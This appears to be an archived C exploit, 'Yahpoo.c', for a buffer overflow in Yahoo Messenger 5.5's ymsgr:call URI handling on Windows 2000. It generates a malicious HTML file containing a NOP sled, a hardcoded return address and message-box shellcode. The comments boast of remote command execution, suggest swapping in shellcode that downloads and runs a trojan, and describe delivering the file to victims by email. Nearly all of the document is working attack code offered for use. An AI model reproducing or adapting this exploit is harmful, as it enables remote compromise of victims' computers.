home *** CD-ROM | disk | FTP | other *** search
- /* Yahpoo.c by bob@dtors.net [www.dtors.net] [DSR]
- *
- * Why Yahoo Messenger have not fixed this vulnerbility
- * I dont know...but either way they are stupid!
- *
- * This exploit has been tested on:
- * Yahoo Messenger 5,5,0,1246
- * Yahoo Module 5,5,0,454
- *
- * For:
- * Windows 2000 Professional 5.0.2195 SP3
- *
- * Rave@dtors.net has released a windows [exe] version of this
- * exploit but for Windows XP Pro SP1.
- * So both targets are vulnerable XP/2k...some addresses might need changing.
- *
- * Problems that may occur:
- *
- * The addresses used may vary from box to box..so they might need changing.
- * The stack may keep on changing the location of your shellcode address..you
- * need to hit a static sector that will not alternate. [this is the reason we jmp]
- * There exist two crashes...the first one we bypass..this is the access violation
- * when you hit the nop sled the first time round. The second crash is where we
- * hit the nop sled...so dont get confused between the 2.
- *
- * The shellcode used here...will not do anything malicious..just opens a popup box
- * You can change this shellcode to something else...but the buffer is not very big
- * so there is no chance of a bind shell or anything.
- * Sloth from nopninjas.com has a shellcode that will download a trojan
- * and execute it. Nice and small as well ;)
- *
- * Thats about it...this exploit will lead to remote command execution on the
- * victim. Bare in mind this is triggered via bad URI handling...and the victim
- * needs to actually view the evil html file..this can be done automatically via
- * email >:)
- *
- * Big Lovin to rica.
- * Thanks to rave for his time.
- * Greetz:
- * mercy, Redg, opy, phreez, eSDee, ilja, looney, The_itch, angelo, inv, kokanin,
- * macd, SiRVu|can, Sally, Lucipher, gloomy, phaze, uproot, b0f.
- * special thanks to sloth@nopninjas
- *
- *
- * bob@dtors.net www.dtors.net
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #define MessageBoxA "\x1d\x97\x53\x01"
-
-
- char ret[8]= "\xD5\x96\x7A\x01";
-
-
- unsigned char win32_msgbox[] = {
- "\xEB\x19\x5E\x33\xC9\x89\x4E\x05\xB8" MessageBoxA "\x2D\x01\x01"
- "\x01\x01\x8B\x18\x6A\x10\x56\x56\x51\xFF\xD3\xE8\xE2\xFF\xFF\xFF"
- "\x62\x6f\x62\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
- };
-
- int main(int argc,char *argv[])
- {
- FILE *evil;
- char *shellcode = win32_msgbox;
- unsigned char buffer[5000];
- int offset=320;
-
- fprintf(stdout, "\n\tYahPoo.c By bob.\n");
- fprintf(stdout, "Remote Exploit for Yahoo! Messenger 5.5\n");
- fprintf(stdout, "\tDSR-[www.dtors.net]-DSR\n\n");
-
- fprintf(stdout,"Makin' da EbUL HTML File... ");
- if ((evil =fopen("yahoo.html","w"))==NULL){
- fprintf(stderr,"Failed\n");
- exit(1);
- } else {
- fprintf(stderr,"Opened!\n");
- }
-
-
-
- memset(buffer,0x00,offset+32+strlen(shellcode));
- memset(buffer,0x90,offset);
-
-
- memcpy(buffer+offset,ret,4);
- memcpy(buffer+offset+4,shellcode,strlen(shellcode));
-
- buffer[264] = 0xD4; //address of &shellcode
- buffer[265] = 0x96;
- buffer[266] = 0x7A;
- buffer[267] = 0x01;
-
- buffer[272] = 0xF5; //jmp 0xc [msvcrt.dll]
- buffer[273] = 0x01;
- buffer[274] = 0x01;
- buffer[275] = 0x78;
-
- fprintf(evil,"<html>");
- fprintf(evil,"<title>Bought to you by dtors.net!</title>\n");
- fprintf(evil,"<B>Dtors Security Research (DSR)</B>\n");
- fprintf(evil,"<p>Yahoo Messenger 5.5 exploit....</p>\n");
- fprintf(evil,"<pre>");
- fprintf(evil,"<a href=%cymsgr:call?%s%c>!EbUL Link!</a></body></pre></html>\x00\x00\x00",0x22,buffer,0x22);
- fclose(evil); // <-- closing yahoo.html
-
- fprintf(stdout,"\nDa ebUL HTML file is >>yahoo.html<<\nEnjoy!\nwww.dtors.net\n\n");
-
- } //end main
-
-
-